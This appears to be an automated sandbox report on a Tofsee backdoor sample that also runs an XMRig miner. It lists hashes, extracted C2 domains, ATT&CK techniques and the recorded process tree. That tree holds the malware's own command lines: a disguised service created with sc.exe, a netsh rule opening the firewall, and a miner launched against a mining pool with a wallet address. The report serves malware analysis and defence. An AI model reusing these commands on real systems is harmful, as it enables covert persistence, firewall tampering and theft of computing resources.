Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    19-06-2022 20:44

General

  • Target

    bc7a6a99f8098c88657f4043f7208c09137518f7c6966b8de4fe92d8afdd479a.exe

  • Size

    306KB

  • MD5

    2f181490b99cd4ea14b0612e78e098a8

  • SHA1

    f1d1cb5ab58bf2cf2620250145458478a9258f02

  • SHA256

    bc7a6a99f8098c88657f4043f7208c09137518f7c6966b8de4fe92d8afdd479a

  • SHA512

    642f59fa96dc0ccd246e2bf018a8ca8deb73d18253c141b79f64ee30df5070cc74cabca4700367bbc1d712f2bb10cabac43513b193b77811d873914a97c8f85d

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bc7a6a99f8098c88657f4043f7208c09137518f7c6966b8de4fe92d8afdd479a.exe
    "C:\Users\Admin\AppData\Local\Temp\bc7a6a99f8098c88657f4043f7208c09137518f7c6966b8de4fe92d8afdd479a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2344
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rdpfpyjg\
      2⤵
        PID:4448
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\benkyrjs.exe" C:\Windows\SysWOW64\rdpfpyjg\
        2⤵
          PID:2212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rdpfpyjg binPath= "C:\Windows\SysWOW64\rdpfpyjg\benkyrjs.exe /d\"C:\Users\Admin\AppData\Local\Temp\bc7a6a99f8098c88657f4043f7208c09137518f7c6966b8de4fe92d8afdd479a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rdpfpyjg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rdpfpyjg
          2⤵
          • Launches sc.exe
          PID:2864
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4136
      • C:\Windows\SysWOW64\rdpfpyjg\benkyrjs.exe
        C:\Windows\SysWOW64\rdpfpyjg\benkyrjs.exe /d"C:\Users\Admin\AppData\Local\Temp\bc7a6a99f8098c88657f4043f7208c09137518f7c6966b8de4fe92d8afdd479a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:972
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4300
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3112

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\benkyrjs.exe
        Filesize

        13.3MB

        MD5

        7a9b0d6f6306de3c9952d4882a6ca8bd

        SHA1

        c90a45024799bcf0570efa62c77968b22ad9d96a

        SHA256

        94fc37bc2207313df7ee527ddd2b9140cb0f335135f9195b4d87e31ed398ea10

        SHA512

        cc5d544e5751d410f5f9d84ea6940f228c37bd3547c1c344df12867b83d30e955e37b997f21d263816b7449c9a604df834e91fa83ea720c2eaa90ec884ae5618

      • C:\Windows\SysWOW64\rdpfpyjg\benkyrjs.exe
        Filesize

        13.3MB

        MD5

        7a9b0d6f6306de3c9952d4882a6ca8bd

        SHA1

        c90a45024799bcf0570efa62c77968b22ad9d96a

        SHA256

        94fc37bc2207313df7ee527ddd2b9140cb0f335135f9195b4d87e31ed398ea10

        SHA512

        cc5d544e5751d410f5f9d84ea6940f228c37bd3547c1c344df12867b83d30e955e37b997f21d263816b7449c9a604df834e91fa83ea720c2eaa90ec884ae5618

      • memory/972-330-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/972-311-0x0000000002EF6000-0x0000000002F03000-memory.dmp
        Filesize

        52KB

      • memory/972-293-0x0000000002C70000-0x0000000002DBA000-memory.dmp
        Filesize

        1.3MB

      • memory/972-291-0x0000000002EF6000-0x0000000002F03000-memory.dmp
        Filesize

        52KB

      • memory/1396-188-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/1396-187-0x0000000000000000-mapping.dmp
      • memory/2212-174-0x0000000000000000-mapping.dmp
      • memory/2212-182-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2212-178-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2212-177-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2212-176-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2212-175-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-160-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-167-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-134-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-135-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-136-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-137-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-138-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-139-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-140-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-141-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-142-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-143-0x0000000002F3A000-0x0000000002F48000-memory.dmp
        Filesize

        56KB

      • memory/2344-144-0x0000000002EE0000-0x0000000002EF3000-memory.dmp
        Filesize

        76KB

      • memory/2344-145-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-146-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-147-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-148-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-149-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-150-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-151-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-152-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-153-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-154-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-155-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-156-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-157-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-158-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-159-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-118-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-161-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/2344-162-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-163-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-164-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-165-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-166-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-133-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-168-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-119-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-120-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-121-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-122-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-236-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/2344-132-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-130-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-131-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-129-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-128-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-223-0x0000000002EE0000-0x0000000002EF3000-memory.dmp
        Filesize

        76KB

      • memory/2344-220-0x0000000002F3A000-0x0000000002F48000-memory.dmp
        Filesize

        56KB

      • memory/2344-123-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-127-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-124-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-125-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2344-126-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/2864-198-0x0000000000000000-mapping.dmp
      • memory/3112-515-0x000000000269259C-mapping.dmp
      • memory/4136-215-0x0000000000000000-mapping.dmp
      • memory/4300-304-0x00000000028E9A6B-mapping.dmp
      • memory/4300-382-0x00000000028E0000-0x00000000028F5000-memory.dmp
        Filesize

        84KB

      • memory/4300-489-0x00000000028E0000-0x00000000028F5000-memory.dmp
        Filesize

        84KB

      • memory/4448-172-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/4448-179-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/4448-173-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/4448-171-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/4448-169-0x0000000000000000-mapping.dmp
      • memory/4448-170-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/5096-180-0x0000000000000000-mapping.dmp
      • memory/5096-183-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/5096-185-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/5096-181-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/5096-189-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB

      • memory/5096-184-0x0000000077CE0000-0x0000000077E6E000-memory.dmp
        Filesize

        1.6MB